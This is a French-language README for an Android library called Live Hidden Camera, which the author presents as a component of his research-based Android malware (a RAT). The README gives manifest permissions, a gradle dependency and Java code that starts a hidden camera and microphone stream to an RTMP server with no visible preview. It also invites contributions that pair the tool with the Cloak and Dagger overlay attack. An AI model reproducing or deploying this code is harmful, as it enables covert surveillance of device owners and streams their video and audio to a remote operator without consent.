
Live Hidden Camera est une bibliothèque qui enregistre la vidéo et l'audio en direct depuis un appareil Android sans afficher d'aperçu.
Live Hidden Camera (LHC) est une bibliothèque qui enregistre la vidéo et l'audio en direct depuis un appareil Android sans afficher d'aperçu.

Je travaille sur un malware Android basé sur une recherche et j'ai décidé de créer un RAT (outil d'administration à distance) multifonction. Je travaillais sur les flux en direct lorsque j'ai trouvé quelques projets open source basés sur RTMP, notamment :
qui ont tous des problèmes en fonction des exigences d'un RAT. Mais le problème commun était qu'ils nécessitaient tous une activité pour inclure un SurfaceView.
Par conséquent, j'ai commencé à chercher. Finalement, j'ai pu créer Live Hidden Camera qui nécessite seulement un CONTEXT pour diffuser une vidéo en direct, en combinant ces deux projets :
J'ai créé une bibliothèque pour la rendre plus utilisable. La seule exigence est d'ajouter la bibliothèque à votre projet et de lui transmettre l'URL RTMP.
De plus, vous devez vous assurer de :
Manifest.xml :<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
L'utilisation de la bibliothèque est simple. Ajoutez simplement la bibliothèque suivante au fichier gradle.build de votre projet.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest.Avant d'utiliser la bibliothèque, vous devez avoir déployé un serveur RTMP. J'ai utilisé Ant Media Server. Un excellent guide sur l'installation d'Ant Media Server se trouve À CE LIEN.
Après avoir démarré le serveur Ant Media RTMP, vous devriez voir quelque chose comme ceci :

Après avoir ajouté la bibliothèque à votre projet, procédez comme suit :
Créez une classe qui implémente : RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
Créez deux champs (un pour la publication et un pour l'aperçu) :
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
Implémentez une fonction pour démarrer la caméra cachée en direct :
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Ask user to grant permission.");
Log.e("HCL", ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
Le principal problème auquel je suis confronté actuellement est l'écran vert. J'ai décrit l'erreur sur StackOverflow à l'adresse https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video
Si vous avez des suggestions concernant ce problème, ou toute autre idée, n'hésitez pas à me contacter.
En raison de la superposition de la caméra cachée en direct, aucune autre application ne peut être cliquée. Les clics ne sont acceptés que par le LHC. Voir la section TODO.
Il y a un projet appelé Cloak and Dagger qui a révélé une capacité très dangereuse dans Android. Toute contribution à l'utilisation de Cloak and Dagger dans LHC est la bienvenue.
Consultez Cloak and Dagger ici :
Vous pouvez faire un don à ce projet en utilisant mon adresse Bitcoin :
BitCoin :
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
Vous pouvez me joindre via mon site Web : https://mstajbakhsh.ir/